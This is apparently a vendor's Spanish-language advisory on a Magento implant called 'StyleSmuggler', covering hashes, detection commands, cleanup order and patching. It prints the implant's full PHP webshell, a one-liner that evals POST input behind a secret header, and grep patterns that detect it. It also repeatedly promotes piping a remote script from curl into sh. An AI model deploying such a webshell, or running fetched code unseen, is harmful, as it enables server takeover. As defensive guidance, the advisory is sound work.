StyleSmuggler: el implante de Magento diseñado para sobrevivir a su revisión de seguridad

StyleSmuggler: el implante de Magento diseñado para sobrevivir a su revisión de seguridad
Una herramienta de acceso remoto escrita en Rust que se propaga a través de una vulnerabilidad RCE sin autenticación en el framework de Magento. Se oculta en directorios de caché, falsea su nombre en la lista de procesos, guarda copias de reserva en /tmp e instala una puerta trasera que devuelve 404 a todos salvo al atacante. Así puede revisar su tienda.

StyleSmuggler es una herramienta de acceso remoto escrita en Rust que ha ido apareciendo en servidores Magento a través de una vulnerabilidad de ejecución remota de código sin autenticación en el framework de Magento. Merece la pena conocerla por un motivo concreto: está diseñada para sobrevivir a las revisiones que realmente hacen la mayoría de los propietarios de tiendas. Se oculta en directorios de caché, se disfraza en la lista de procesos, guarda copias de reserva de sí misma e instala una puerta trasera en PHP que devuelve un 404 auténtico a todo el mundo excepto al atacante.

Si tiene una tienda Magento, en este artículo encontrará los comandos para revisarla, el orden de limpieza si encuentra algo y el parche que cierra la puerta.

¿Tiene poco tiempo? Conéctese por SSH a su tienda y ejecute nuestro escáner gratuito, sin registro ni cuenta:
curl https://shopwhizzy.com/gowiz/external/agent | sh
Revisa sus archivos y su base de datos en busca de webshells, skimmers y firmas de malware, y compara su versión de Magento con los boletines de Adobe. Después lea la sección sobre la capa del host más abajo, porque hay una parte de esto que ningún escaneo a nivel de tienda puede ver.

Qué aspecto tiene en disco

Dos binarios ELF despojados de símbolos, ambos escondidos en directorios que nadie inspecciona nunca porque se supone que están llenos de basura desechable:

  • A nivel de la cuenta de la tienda: un binario Rust static-PIE en ~/.cache/chrony/chronyd, relanzado por una entrada de cron que se ejecuta dos veces por hora.
  • A nivel de root: un binario más pequeño en /root/.cache/fontconfig/fc-cache, con su propia entrada de cron y una unidad systemd en /etc/systemd/system/fontconfig-cache.service cuyo ExecStart se ejecuta como root.

Los nombres se eligen para pasar desapercibidos. chronyd es el demonio de hora, fc-cache es el generador de la caché de fuentes, y ambos son exactamente el tipo de cosa que se pasa por alto.

Si los archivos pertenecen a root:<su-usuario-de-tienda>, se trata de una escalada de privilegios y no de un simple compromiso de la aplicación web, y la limpieza abarca todo el servidor, no solo su tienda.

Hashes maliciosos conocidos

Se han observado cuatro binarios distintos. Compare por SHA-256, nunca por nombre de archivo: los nombres son deliberadamente verosímiles y las copias de reserva usan nombres aleatorios:

1a3374ffac5b0a62467612f264c49792d206304d4514409c982325c91231375d  2281147  static-PIE  ~/.cache/chrony/chronyd
500cd1231f4286225c9db434f126b7b6e2a0496f495586c02a5d123e49dc7a51   312048  dynamic     /root/.cache/fontconfig/fc-cache
4352cabaa451e5a894535fbcc4d46628701303322a13745cb5479d7d0534ae8e  2270031  static-PIE  ~/.cache/fontconfig/fc-cache
a5b9e9082ecd446ad89b94748b13175e972efc6ae53c024ffdc3ab668f20ae75  2128224  dynamic     /tmp/.kw_*

Cuatro motivos por los que un vistazo rápido no lo detecta

Estas son las propiedades que hacen que StyleSmuggler merezca una revisión deliberada y no un simple vistazo.

1. Miente sobre su nombre en la lista de procesos

Un implante en ejecución aparece en ps como un simple chronyd. Ni la ruta ni el directorio .cache: solo un nombre de demonio verosímil. Así que la búsqueda obvia no encuentra nada:

pgrep -f '\.cache/chrony/chronyd'   # matches only the short-lived cron wrapper, if anything

Lo que a veces detecta es el envoltorio /bin/sh -c <ruta> que cron lanza durante uno o dos segundos. Matar esos procesos no sirve de nada: el demonio sigue en ejecución y reescribe su crontab en unos dos minutos.

La comprobación que funciona ignora por completo los nombres y pregunta al kernel qué es realmente cada proceso:

for p in /proc/[0-9]*; do
  exe=$(readlink "$p/exe" 2>/dev/null) || continue
  case "$exe" in
    *.cache/*|*/tmp/*) echo "$p -> $exe";;
  esac
done

2. Guarda copias de reserva ejecutables en /tmp

El implante deja copias ejecutables de sí mismo en /tmp: modo 755, propiedad del usuario de su tienda, con nombres aleatorios de ocho caracteres y extensiones basura (/tmp/g7gylnwk.ha4), además de variantes ocultas /tmp/.kw_<dígitos>.

Esto es importante para la limpieza. Neutralizar las dos rutas .cache conocidas y quedarse ahí deja una copia funcional en un directorio con permisos de escritura para todos. Escanee también por hash sus directorios temporales.

3. La unidad systemd está marcada como inmutable

Si hay un componente a nivel de root, su archivo de servicio tiene el atributo inmutable, y al borrarlo falla de una forma que parece una protección del sistema y no obra de un atacante:

rm /etc/systemd/system/fontconfig-cache.service
rm: cannot remove '...': Operation not permitted

lsattr /etc/systemd/system/fontconfig-cache.service
----i---------e------- /etc/systemd/system/fontconfig-cache.service

Primero chattr -i y después elimínelo. Un script de limpieza que no compruebe lsattr informará de éxito sobre un archivo que sigue ahí.

4. La webshell responde 404 a todos menos al atacante

La reentrada se produce a través de diminutas webshells PHP (de 142 a 144 bytes) depositadas en pub/media y var, en rutas que parecen salida temporal normal de Magento:

pub/media/downloadable/tmp/in/uy/thumb_l2rdsak8.php
var/import/images/eu/li/product_gqami5d3.php

Todo el cuerpo es una comprobación de cabecera:

<?php if(($_SERVER['HTTP_X_CATALOG_VER']??'')!=='<md5>'){http_response_code(404);exit;} @eval($_POST['load']??''); ?>

Dos consecuencias. Primero, el nombre de la cabecera y la clave cambian en cada despliegue (se han visto tanto X-Catalog-Ver como X-Thumb-Key), así que busque el par estructural @eval($_POST[ junto con http_response_code(404), nunca el nombre de la cabecera. Segundo, como toda petición no autenticada recibe un 404 real, ningún escáner que funcione por HTTP desde fuera las verá jamás. Solo pueden encontrarse en disco.

Una exclusión que le conviene aplicar: omita generated/code/ cuando busque por contenido en un árbol de Magento. La propia salida de inyección de dependencias de Magento inundará sus resultados, y nada de eso es una webshell.

Revise su tienda

La vía más rápida es el escáner, que se encarga de la parte de archivos y base de datos y no necesita instalar nada:

curl https://shopwhizzy.com/gowiz/external/agent | sh

Funciona en cualquier instalación de Magento a la que tenga acceso SSH (la nuestra, su propio servidor o la máquina de un cliente con cPanel o Plesk) y termina con un enlace a un informe privado. Revisa los archivos PHP y JavaScript en busca de firmas de malware, webshells y patrones de skimmers, revisa sus bloques CMS, la configuración y las cuentas de administrador, y verifica su versión de Magento frente a los boletines de seguridad de Adobe inspeccionando el código en lugar de fiarse de la cadena de versión.

Si prefiere hacerlo a mano, estos cuatro comandos son de solo lectura y no cambian nada:

# 1. Implant binaries in the usual hiding places
find ~/.cache /tmp /var/tmp /dev/shm -type f -size +100k 2>/dev/null \
  -exec sha256sum {} + | grep -Ff known_bad_hashes.txt

# 2. Processes whose real executable sits in a cache or temp directory
for p in /proc/[0-9]*; do
  e=$(readlink "$p/exe" 2>/dev/null)
  case "$e" in *.cache/*|/tmp/*) echo "$p -> $e";; esac
done

# 3. Cron entries pointing into a cache directory
crontab -l | grep -E '\.cache|chronyd|fc-cache'

# 4. Header-gated webshells (match the structure, not the header name)
grep -rlE 'http_response_code\(404\)' pub/media var --include='*.php' 2>/dev/null \
  | xargs -r grep -l '@eval($_POST\[' 2>/dev/null

Ponga los cuatro hashes anteriores en known_bad_hashes.txt, uno por línea, antes de ejecutar el primero.

La parte que su propio escaneo no puede ver

Esto es lo más importante de este artículo, y se aplica sea quien sea su proveedor de hosting y use el escáner que use.

Los escáneres de seguridad en hosting compartido y gestionado están limitados a su cuenta. Leen su crontab, su directorio personal, sus procesos. Es el diseño correcto: usted no debería poder enumerar los archivos de otro cliente, ni ellos los suyos.

Pero también significa que un implante a nivel de root es estructuralmente invisible para cualquier informe que pueda ejecutar usted mismo. No es que se le escape a una regla débil: es invisible por diseño, en cada escaneo, cada noche, para siempre. Y con StyleSmuggler el componente de root suele llegar primero, y el de nivel de tienda después.

Así que un informe limpio a nivel de tienda significa que su tienda está limpia. No es, ni puede ser, una afirmación sobre el servidor que hay debajo.

La pregunta que debe hacer a su proveedor de hosting: "¿Qué vigila la capa del host: el crontab de root, /etc/systemd/system, los binarios propiedad de root en directorios temporales y los procesos de root o de otros clientes?" Si la respuesta es solo el escáner por cuenta que usted mismo puede ejecutar, nadie está vigilando esa capa.

En los servidores gestionados por ShopWhizzy esto se cubre por separado de su propio informe de WhizzyScan, mediante comprobaciones a nivel de host que miran específicamente fuera de cada cuenta: rutas indicadoras en /root, binarios propiedad de root en directorios temporales y unidades systemd cuyo ExecStart apunta a donde no debería, que se notifican con sus atributos lsattr para que un archivo inmutable no pueda resistirse en silencio a la limpieza. Esos hallazgos van a nuestro equipo, porque no afectan a una sola tienda.

Si encuentra algo

El orden importa, porque un orden equivocado permite que el implante se repare a sí mismo mientras usted trabaja:

  1. chmod 000 a todas las copias de los binarios, incluidas las de /tmp. Así se conservan los bytes por si alguien necesita examinarlos más adelante.
  2. Ponga en cuarentena las webshells (sáquelas de la raíz de documentos; no se limite a vaciarlas).
  3. Elimine las entradas de cron. Si hay una unidad systemd, aplíquele chattr -i y elimínela.
  4. Mate los procesos por /proc/*/exe, no por nombre.
  5. Vuelva a verificar al cabo de veinte segundos.

Este último paso no es opcional. Un demonio superviviente reescribe el cron en unos dos minutos, así que una comprobación justo después de la limpieza le dará la razón tanto si la limpieza ha funcionado como si no.

Después, cambie las credenciales. Si el nivel de root se ha visto afectado, considere expuesto todo lo accesible desde ese servidor: las credenciales de la base de datos en app/etc/env.php, todas las cuentas de administrador de Magento, las claves de API y los tokens de integración, y cualquier contraseña o clave almacenada en scripts del servidor. Cambiar las dos obvias y quedarse ahí es como las tiendas se vuelven a infectar quince días después.

Cierre la puerta: parchee el vector de entrada

La vía de entrada es una vulnerabilidad de ejecución remota de código sin autenticación en el framework de Magento, corregida por el hotfix que Adobe distribuye como VULN-39341. Hay variantes para 2.4.4-p18, 2.4.5-p17, 2.4.6-p15, 2.4.7-p10, 2.4.8-p5 y 2.4.9, y en la práctica se aplican sin problemas bastante más allá de su versión nominal.

No necesita recompilar la DI. El parche añade un segundo argumento al constructor de Magento\Framework\View\Element\BlockFactory, pero lo declara como ?ConfigInterface $x = null con un fallback a ObjectManager::getInstance(). Ese valor por defecto nulo es lo que permite aplicarlo con seguridad en una instalación compilada: normalmente, un cambio en la firma de un constructor deja el sitio caído hasta que vuelve a ejecutar setup:di:compile.

Por debajo de 2.4.6 no hay ninguna variante de este parche. Si es su caso, la solución es actualizar de versión, no un hotfix, y debería programarse ya y no el próximo trimestre.

Si patch rechaza fragmentos en pub/errors/processor.php con "different line endings", ese archivo mezcla CRLF y LF (algo habitual en él) y --ignore-whitespace no ayuda. Divida el parche, aplique todo lo demás y después normalice ese archivo:

awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} !f' VULN-39341.patch > part1.patch
awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} f'  VULN-39341.patch > part2.patch
patch -p1 < part1.patch
sed -i 's/\r$//' pub/errors/processor.php
patch -p1 < part2.patch

Y, ya que está en ello

Parchear el framework cierra esta puerta en concreto. Los endpoints de subida de archivos que Magento expone por defecto son otra distinta, y son la vía más utilizada para entrar en una tienda que por lo demás está al día. Explicamos ambas soluciones (el módulo de protección PolyShell para las subidas de opciones personalizadas y la desactivación del endpoint de subida de direcciones de cliente) en nuestro artículo sobre APSB25-88. Si aún no las ha aplicado, hágalo en la misma ventana de mantenimiento.

Tres conclusiones

Una comprobación específica que no devuelve nada no es un certificado de buena salud. Puede significar dos cosas (que no hay malware o que la comprobación mira en el sitio equivocado) y no puede saber cuál sin un control. Vuelque su crontab en bruto y confirme que ve líneas que sabe que están ahí. Confirme que su find recorrió realmente el directorio que pretendía. Un script que fija pub/media en una tienda cuya raíz de documentos es pub/ no encuentra ese directorio y da un resultado limpio.

Compare por contenido y por hash, nunca por nombre. Los nombres de archivo, de proceso y de cabecera los controla el atacante, y los tres cambian de un despliegue a otro.

Sepa quién vigila la capa del host. Su propio escaneo cubre su propia cuenta. Pregunte a su proveedor qué cubre el resto y considere una respuesta vaga como un no.

Ejecute el escaneo gratuito en cualquier tienda Magento a la que tenga acceso SSH: curl https://shopwhizzy.com/gowiz/external/agent | sh

Si el resultado es crítico y quiere ayuda para limpiarlo, abra un ticket y lo revisaremos.